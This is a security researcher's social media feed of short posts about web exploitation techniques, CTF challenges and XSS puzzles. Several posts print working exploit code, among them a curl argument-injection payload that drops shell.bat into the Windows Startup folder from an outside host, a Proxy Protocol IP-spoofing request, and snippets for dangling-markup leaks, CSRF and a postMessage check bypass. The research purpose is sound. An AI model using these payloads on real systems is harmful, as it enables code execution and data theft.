Sign in

Jorian

@jorianwoltjer.com
352 followers 107 following 107 posts

Normalize being weird.

PostsRepliesMedia
Jorian @jorianwoltjer.com · 09/08/2026
What started with a simple question on Discord, ended in *reviving an old XS-Leak technique* for probing status codes in background requests! Unravel the mystery with me in the latest @ctbbpodcast.bsky.social blog post: lab.ctbb.show/research/sol...
https://lab.ctbb.show/research/solving-an-orb-mystery
022
Jorian @jorianwoltjer.com · 03/07/2026
This new HTML feature just shipped in Chrome 150, it's gonna be veeeeery interesting 👀 github.com/WICG/declara...
https://yeswehack.github.io/Dom-Explorer/shared?id=860dd7e8-6ae1-41c6-9f06-68beb03e101c
121
Jorian @jorianwoltjer.com · 02/06/2026
Now that everybody's had a chance to solve it, here's a timelapse of my playtesting run of the JavaScript Crossword! SPOILER WARNING: Please try it yourself first in the post below, it's very satisfying to solve, I don't want you to miss out on that 😄 (1 second = 2 minutes)
052
Jorian @jorianwoltjer.com · 23/04/2026
(2/2) After some wild ideas of leaking it, I found a different solution using the obscure "Variables" (curl.se/docs/manpage...) feature of curl. We can define and expand {{USERPROFILE}}, then finish with an 8.3 Shortname "StartM~1" to avoid issues with a space! The final payload:
fetch("/copyme", {
  "body": "\x7f\" --next --variable %USERPROFILE --expand-output {{USERPROFILE}}/AppData/Roaming/Microsoft/Windows/StartM~1/Programs/Startup/shell.bat --url http://r.jtw.sh/?b=calc.exe -v \"",
  "method": "POST",
});
060
Jorian @jorianwoltjer.com · 23/04/2026
Cool exploit with @0x999.net: He found that \x7F breaks Chrome's "Copy as cURL (cmd)" command parsing in Windows Console Host. In combination with a ", it allowed you to add any arguments to curl. With -o writing files is easy, but we need the username for the startup path... (1/2)
Windows shell:startup folder wrote shell.bat from conhost.exe opening calculator. Username in path highlighted
161
Jorian @jorianwoltjer.com · 16/11/2025
Really interesting technique from a local CTF. In gunicorn with --proxy-protocol --proxy-allow-from='*', the "Proxy Protocol" (github.com/haproxy/hapr...) allows you to spoof the source IP with a PROXY prefix like this! I feel like it might be useful as impact in Request Tunneling👀
PROXY TCP4 127.0.0.1 1.2.3.4 1337 80
GET /ip HTTP/1.1
Host: 1.2.3.4:80

------------------------------------
HTTP/1.1 200 OK
Server: gunicorn

Your IP: 127.0.0.1
130
Jorian @jorianwoltjer.com · 17/10/2025
(5/5) For Client-Side Race Conditions based on network requests, you can slow down time by holding up the Connection Pool. Then slowly release them one by one, performing any actions you need in between with 100% consistency.
async function release_once() {
  blocker.abort();
  await sleep(0);
  blocker = fetch_long(1337);
}
011
Jorian @jorianwoltjer.com · 17/10/2025
(4/5) Form input history is restored on history.back() even if the HTML changed in the meantime. For inputs without a form, that means you can hijack it into your own form with a form= attribute as an exception. From there you could submit your form to leak it.
<input type="text" name="flag">
----------- AFTER -------------
<form action="/attacker" id="x">
  <input type="text" name="flag" form="x">
  <input type="submit" form="x">
</form>
100
Jorian @jorianwoltjer.com · 17/10/2025
(3/5) Script gadgets inside an <iframe srcdoc> that require URL parameters can be set using a <meta http-equiv="refresh"> redirect to about:srcdoc. It reloads the document with the new URL while keeping its content.
<iframe srcdoc='
  <meta http-equiv="refresh" content="1;url=about:srcdoc?param=value">
  <script src="/gadget.js"></script>
'></iframe>
100
Jorian @jorianwoltjer.com · 17/10/2025
(2/5) With a strict CSP, .click() gadgets can be very useful for things like: * Opening the attacker's website with <a target="_blank"> * Submitting a form for CSRF * Performing actions on the site to trigger other behavior
<form action="/change_password" method="POST">
  <input type="text" name="new_password" value="hacked">
  <!-- Submit button is clicked by script gadget -->
  <input type="submit" id="something">
</form>
<script src="/click-something.js"></script>
100
Jorian @jorianwoltjer.com · 18/09/2025
AMAZING technique by @salvatoreabello, I've been inspired by the connection pool exploits he comes up with. Check out this crazy impact labeled as "working as intended": blog.babelo.xyz/posts/cross-...
063
Jorian @jorianwoltjer.com · 16/09/2025
Forgot to add what we leak, this is the result:
010
Jorian @jorianwoltjer.com · 16/09/2025
On our attacker's page, we load this in an iframe and can then access [0] to get a reference to our injected object. To read its name, we can set its location to *our* about:blank and then read the .name window property (set by the attribute)!
<iframe id="iframe" src="https://target.tld/dangling-object"></iframe>
<script>
  iframe.onload = () => {
    const object = iframe.contentWindow[0];
    object.location = "about:blank";  // Navigate to our same-origin
    const interval = setInterval(() => {
      object.origin;  // When it becomes same-origin
      clearInterval(interval);
      alert(object.name);  // Leak its name (kept after navigation)
    })
  }
</script>
210
Jorian @jorianwoltjer.com · 16/09/2025
While playing a challenge by Salvatore Abello, I found a pretty interesting way to exploit Dangling Markup with a strict CSP. All you need is an <iframe>, <object> or <embed> set to about:blank, with a dangling name= attribute. This vulnerable page should be iframable.
Content-Security-Policy: default-src 'none'

<object data="about:blank" name='
<form>
  <input type="hidden" name="csrf" value="SECRET">
</form>
<script>
  console.log('Hello, world!');
</script>
210
Jorian @jorianwoltjer.com · 13/09/2025
Final exploit code: gist.github.com/JorianWoltje... Thanks Omid sharing this challenge!
onclick = () => {
    window.open(location.href);
    location = "http://127.0.0.1:8000/vuln.html";
}
setTimeout(() => {
    const iframe = document.createElement("iframe");
    iframe.srcdoc = "";
    document.body.appendChild(iframe);
    iframe.onload = () => {
        iframe.contentWindow.eval('top.opener.postMessage("alert(origin)", "*")');
        iframe.remove();
    }
}, 1000);
010
Jorian @jorianwoltjer.com · 13/09/2025
We first duplicate our page, then navigate the first tab to the target. From our 2nd tab, the iframe can now access `top.opener` to send a message to the target. Quickly after, the parent removes the iframe and the `event.source` becomes `null`.
Target tab on the left, and attacker tab on the right with an iframe inside. Arrow pointing from iframe up to parent with `.top`, and then to the left target window with `.opener`
100
Jorian @jorianwoltjer.com · 13/09/2025
@omidxrz.bsky.social shared this nice postMessage() challenge some time ago. I'm a bit late, but worth trying if you haven't already :D Otherwise, my solution is below, it's a really fun technique that makes me re-evaluate all the .source checks I've seen before...
<!DOCTYPE html>
<html>
<body>
  <h1>Impossible</h1>
  <div id="output">Waiting for messages...</div><br>
  <button id="loadIframeButton">Load Message Frame</button>
  <script>
    document.getElementById('loadIframeButton').addEventListener('click', () => {
      const iframe = document.createElement('iframe');
      iframe.id = 'message_frame';
      iframe.srcdoc = '<html><body><script>window.parent.postMessage("document.body.innerHTML = \'<h1>Impossible Message</h1>\'", "*");<\/script></body></html>';
      iframe.style.display = 'none';
      document.body.appendChild(iframe);
    });
  </script>
  <script>
    window.onmessage = function (event) {
      if (event.source != window.message_frame?.contentWindow || window !== window.top) {
        document.getElementById('output').innerHTML = "No Hacker!";
        return;
      }

      document.getElementById('output').innerHTML = "received";
      const result = eval(event.data);
    };
  </script>
</body>
</html>
130
Jorian @jorianwoltjer.com · 30/06/2025
Just found an interesting way to bypass some nonce-based CSPs and made a small XSS challenge with an exploitable scenario. See if you can find it before I tell! Source JS: gist.github.com/JorianWoltje... URL: greeting-chall.jorianwoltjer.com Found a solution? Please DM to avoid spoilers, thanks!
160
Jorian @jorianwoltjer.com · 13/06/2025
Small tip for the JavaScript reverse engineers out there, Chrome has a `debug()` function which triggers a breakpoint whenever its first argument is called. It even works on built-in methods, no more wrapping stuff in proxies :D debug(DOMParser.prototype.parseFromString)
0111
Jorian @jorianwoltjer.com · 02/06/2025
It uses the "Tagged Templates" syntax like t`...` and automatically escapes any interpreted variables, as well as supporting nesting/arrays. Here's an example showing its usage:
040
Jorian @jorianwoltjer.com · 21/05/2025
This includes a fun trick with User Activation. It can be used to detect when actions like shortcuts and clicks happen inside cross-origin iframes:
041
Jorian @jorianwoltjer.com · 09/05/2025
While collecting some HTML-Injection techniques, I thought of an interesting way to abuse existing <form>s when XSS isn't an option. You can inject <input>s with form= pointing to the form's id= to add params, and make a <button> with form= and formaction= to change its action.
140
Jorian @jorianwoltjer.com · 06/03/2025
@renwax23.bsky.social made an interesting challenge (x.com/RenwaX23/sta...). Instead of right-click and open in new tab, I found you can also use drag-and-drop into a popup window to achieve the same effect! With CSS you can make it convincing like clickjacking: gist.github.com/JorianWoltje...
110
Jorian @jorianwoltjer.com · 03/03/2025
Here's a way to exploit `eval(name)` on Firefox without user interaction:
110
Jorian @jorianwoltjer.com · 11/02/2025
In the final payload, we just write "\n{}*{color:red}" as a comment on any blog post, then refer to it in `request.path` with `>;rel=stylesheet;` injected. This will cause the injected comment to be executed as CSS on the response page!
000
Jorian @jorianwoltjer.com · 11/02/2025
The website had a comment feature on blog posts, which we can inject CSS code into. The parser is very lax and any broken statements can be closed with just a \n and {}. Then we can write arbitrary CSS to leak content on the response page using regular CSS Injection techniques.
100
Jorian @jorianwoltjer.com · 11/02/2025
I recently found a pretty interesting attack on a friend's website where the `Link:` response header was automatically set to the requested path:
140
Jorian @jorianwoltjer.com · 11/12/2024
I made an XSS challenge for Intigriti this month, good luck and have fun! x.com/intigriti/st...
030
Jorian @jorianwoltjer.com · 05/12/2024
Apparently, navigating to a javascript: URL returning a string will write it as HTML to the DOM. This allows for an interesting XSS payload: x.com/icesfont2/st...
0122
Jorian @jorianwoltjer.com · 27/11/2024
My challenge has been out for about a week with only one half-intended solution, so here's my solution!
111
Jorian @jorianwoltjer.com · 20/11/2024
I've been closely following the awesome Mutation XSS research that's been coming out, and have found some tricks of my own. Below is a challenge from me to you. This code removes comments, dangerous text nodes and all attributes. Bypass the filter to achieve XSS. Good luck!
120